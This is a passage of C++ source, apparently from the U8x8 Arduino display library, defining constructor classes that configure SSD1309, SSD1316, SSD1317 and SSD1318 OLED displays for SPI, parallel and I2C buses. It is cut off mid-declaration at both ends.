U8X8_SSD1309_128X64_NONAME2_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1309_128X64_NONAME2_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1309_128x64_noname2, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1309_128X64_NONAME2_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1309_128X64_NONAME2_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1309_128x64_noname2, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1309_128X64_NONAME2_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1309_128X64_NONAME2_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1309_128x64_noname2, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1309_128X64_NONAME2_6800 : public U8X8 {\n  public: U8X8_SSD1309_128X64_NONAME2_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1309_128x64_noname2, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1309_128X64_NONAME2_8080 : public U8X8 {\n  public: U8X8_SSD1309_128X64_NONAME2_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1309_128x64_noname2, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1309_128X64_NONAME2_SW_I2C : public U8X8 {\n  public: U8X8_SSD1309_128X64_NONAME2_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1309_128x64_noname2, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SSD1309_128X64_NONAME2_HW_I2C : public U8X8 {\n  public: U8X8_SSD1309_128X64_NONAME2_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1309_128x64_noname2, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SSD1309_128X64_NONAME2_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SSD1309_128X64_NONAME2_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1309_128x64_noname2, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SSD1309_128X64_NONAME0_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1309_128X64_NONAME0_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1309_128x64_noname0, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1309_128X64_NONAME0_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1309_128X64_NONAME0_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1309_128x64_noname0, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1309_128X64_NONAME0_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1309_128X64_NONAME0_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1309_128x64_noname0, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1309_128X64_NONAME0_6800 : public U8X8 {\n  public: U8X8_SSD1309_128X64_NONAME0_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1309_128x64_noname0, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1309_128X64_NONAME0_8080 : public U8X8 {\n  public: U8X8_SSD1309_128X64_NONAME0_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1309_128x64_noname0, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1309_128X64_NONAME0_SW_I2C : public U8X8 {\n  public: U8X8_SSD1309_128X64_NONAME0_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1309_128x64_noname0, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SSD1309_128X64_NONAME0_HW_I2C : public U8X8 {\n  public: U8X8_SSD1309_128X64_NONAME0_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1309_128x64_noname0, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SSD1309_128X64_NONAME0_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SSD1309_128X64_NONAME0_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1309_128x64_noname0, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SSD1316_128X32_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1316_128X32_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1316_128x32, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1316_128X32_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1316_128X32_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1316_128x32, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1316_128X32_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1316_128X32_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1316_128x32, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1316_128X32_6800 : public U8X8 {\n  public: U8X8_SSD1316_128X32_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1316_128x32, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1316_128X32_8080 : public U8X8 {\n  public: U8X8_SSD1316_128X32_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1316_128x32, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1316_128X32_SW_I2C : public U8X8 {\n  public: U8X8_SSD1316_128X32_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1316_128x32, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SSD1316_128X32_HW_I2C : public U8X8 {\n  public: U8X8_SSD1316_128X32_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1316_128x32, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SSD1316_128X32_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SSD1316_128X32_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1316_128x32, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SSD1316_96X32_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1316_96X32_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1316_96x32, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1316_96X32_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1316_96X32_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1316_96x32, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1316_96X32_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1316_96X32_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1316_96x32, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1316_96X32_6800 : public U8X8 {\n  public: U8X8_SSD1316_96X32_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1316_96x32, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1316_96X32_8080 : public U8X8 {\n  public: U8X8_SSD1316_96X32_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1316_96x32, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1316_96X32_SW_I2C : public U8X8 {\n  public: U8X8_SSD1316_96X32_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1316_96x32, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SSD1316_96X32_HW_I2C : public U8X8 {\n  public: U8X8_SSD1316_96X32_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1316_96x32, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SSD1316_96X32_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SSD1316_96X32_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1316_96x32, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SSD1317_96X96_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1317_96X96_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1317_96x96, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1317_96X96_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1317_96X96_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1317_96x96, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1317_96X96_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1317_96X96_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1317_96x96, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1317_96X96_6800 : public U8X8 {\n  public: U8X8_SSD1317_96X96_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1317_96x96, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1317_96X96_8080 : public U8X8 {\n  public: U8X8_SSD1317_96X96_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1317_96x96, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1317_96X96_SW_I2C : public U8X8 {\n  public: U8X8_SSD1317_96X96_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1317_96x96, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SSD1317_96X96_HW_I2C : public U8X8 {\n  public: U8X8_SSD1317_96X96_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1317_96x96, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SSD1317_96X96_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SSD1317_96X96_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1317_96x96, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SSD1318_128X96_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1318_128X96_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1318_128x96, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1318_128X96_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1318_128X96_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1318_128x96, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1318_128X96_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1318_128X96_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1318_128x96, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1318_128X96_3W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1318_128X96_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1318_128x96, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SSD1318_128X96_3W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1318_128X96_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1318_128x96, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SSD1318_128X96_6800 : public U8X8 {\n  public: U8X8_SSD1318_128X96_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1318_128x96, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1318_128X96_8080 : public U8X8 {\n  public: U8X8_SSD1318_128X96_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1318_128x96, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1318_128X96_XCP_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1318_128X96_XCP_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1318_128x96_xcp, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1318_128X96_XCP_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1318_128X96_XCP_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1318_128x96_xcp, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1318_128X96_XCP_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1318_128X96_XCP_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1318_128x96_xcp, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1318_128X96_XCP_3W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1318_128X96_XCP_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1318_128x96_xcp, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SSD1318_128X96_XCP_3W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1318_128X96_XCP_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1318_128x96_xcp, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SSD1318_128X96_XCP_6800 : public U8X8 {\n  public: U8X8_SSD1318_128X96_XCP_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1318_128x96_xcp, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1318_128X96_XCP_8080 : public U8X8 {\n  public: U8X8_SSD1318_128X96_XCP_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1318_128x96_xcp, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1318_128X96_SW_I2C : public U8X8 {\n  public: U8X8_SSD1318_128X96_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1318_128x96, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    